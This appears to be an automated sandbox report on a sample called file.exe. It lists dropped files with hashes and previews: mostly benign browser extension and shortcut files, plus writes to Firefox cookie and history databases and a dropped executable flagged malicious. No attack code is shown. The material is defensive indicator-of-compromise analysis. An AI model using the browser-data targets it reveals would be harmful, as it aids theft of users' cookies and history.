Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\c12de81c-70a8-4cda-bf17-d148d12d35c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 21:36:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.976330855793126
Encrypted:	false
SSDEEP:	48:8/dKT2GiHqidAKZdA19ehwiZUklqehTy+3:8EH3Iy
MD5:	FE93C91B11B2B2E5CB23C3876896729A
SHA1:	ABCD3F9F817344CCA9848ABD4C391029D6AADC70
SHA-256:	207EF4A6F0D9E44DA7EABB846EA750C22B4ED6347C872B85F5E53B65AEE234E0
SHA-512:	2D337149C79EC11C0D729316241472FE9472399A7694B6B6C232C0E656F3CDD62AEBE8D359FAB1E7C8FD27369A06217A177646E3A527A4A1045681A31B1E3A23
Malicious:	false
Preview:	L..................F.@.. ...$+.,......A.w8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O..a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 21:36:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.992708003263903
Encrypted:	false
SSDEEP:	48:8+dKT2GiHqidAKZdA1weh/iZUkAQkqeh4y+2:8nH99Q1y
MD5:	5A2BA161A9147ACF19580EB8EFEC97E8
SHA1:	A352B5F75A359A91B3B253ABAEE3B24173E5D637
SHA-256:	7C60F973D95DBEBC7CCDA9E885B038A567FE23BE6BEB0F7D64F13574570C81DD
SHA-512:	B256A2AF28BAA8A6EAC9A0D638489D8C48CC419D268BBBFF235C37C75E7DF6439D5526D2BE670EDC2FAFD47A5A07C45FD6439C4D1788289B4BF588312F90A36F
Malicious:	false
Preview:	L..................F.@.. ...$+.,......7.w8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O..a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004093173174916
Encrypted:	false
SSDEEP:	48:8xndKT2GsHqidAKZdA14tseh7sFiZUkmgqeh7s6y+BX:8x8HrnUy
MD5:	0912C17F400BC878D1EDCB1C9009B580
SHA1:	A8805ED1A629581A63E781B4CBBFE5CB78FA1202
SHA-256:	2310A7B140899833EDAF71D35FDF111D6AA89B4C373B205BF58F14B88574542B
SHA-512:	0AE2E41FD938318909E6915FBB11121DD3BE80C0968D0F0F06F3534DD7423F2554E00A5B16DF1E9FF626A3155530FF3E90B5690F932019A585B88DD3636D816A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O..a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 21:36:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9902935366896752
Encrypted:	false
SSDEEP:	48:8ddKT2GiHqidAKZdA1vehDiZUkwqeh8y+R:86H+Cy
MD5:	CF657E0EB673AED13781E2B50163BBF5
SHA1:	A6608F84985856D73605F2B71E884C4799009A50
SHA-256:	D6A536424FACB1ACD9C77CE4A812C39B8F427DF91272E54E5B03F8BF58AE32F2
SHA-512:	ADFA892B9F016D668634987E2870CCC84EC247E5E7639516A4B6B5B34ABE45D54D34D01A523E0DC1C13691DF38DD5BEBBCD4B9037F22081D51B3D171165CCC8E
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....72.w8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O..a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 21:36:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.979563558164361
Encrypted:	false
SSDEEP:	48:8VndKT2GiHqidAKZdA1hehBiZUk1W1qehGy+C:8V8HO9my
MD5:	ABE163C6E5A3EA4D541BAC8B0011BCB3
SHA1:	DB2F1DDBC0A4226FC340057D46FAA3E14540F488
SHA-256:	624248F361125D872159E0348A3CEDE069EDAF38F14ED090FCAE2AAFB5D6B679
SHA-512:	C91BDC628CB21CDFB137EA8B13F205C0A36489E8B24C5AE8902D64BE03BFBBAF7419868567A83462B7A9D8096D93B0AF9652DA92FE5896A3FE9B180C3CE70345
Malicious:	false
Preview:	L..................F.@.. ...$+.,....h.>.w8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O..a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 21:36:18 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9884400758857232
Encrypted:	false
SSDEEP:	48:8HVLdKT2GiHqidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbUy+yT+:8HVYHwT/TbxWOvTbUy7T
MD5:	0ADCBFEACF197BA900E3811368EFB475
SHA1:	D066C532ADB5D8C7DE576584758110E7250008E4
SHA-256:	21CB4EAA5CB62A13137C3659A5DFE36D6130D665C4958D2EC8533F93B12B7467
SHA-512:	DB9CF6E0010B85F80ABFD644E1731A632F71F40664917875BFC334160F7528A98297DDA780C57FA1DCD3CC493DAFBD4035E724A411E1BD29E4C9CAEE224298C0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....o.$.w8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O..a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsDBAAFIDGDA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3270144
Entropy (8bit):	6.663812298762813
Encrypted:	false
SSDEEP:	49152:kZGx4ImUeVibveV6bHruBxzLbu2Cq2pKoX+k3D2F54c+gT1PqEBytH5xEaV1xk7:SzLS2Cq2pKoOkT2FWsyGYkw2
MD5:	6503303FF59D16ED151B805E96A7D413
SHA1:	581DD3218FB927160D399F51A54AA98BEBAB131E
SHA-256:	A736282A5125BCDFC1A24F6FC38DF443D69F2F2278D58B4402CE6D43588C9DD1
SHA-512:	5C7294FCF9E34A8672BFA4B1DF42934E40B01F008F9E6027EF95EE33DDE8B8213DB0912E0E91F06EA7E7E63579DAA173436C30FEBC23B6364207DE1B21B23F2A
Malicious:	true
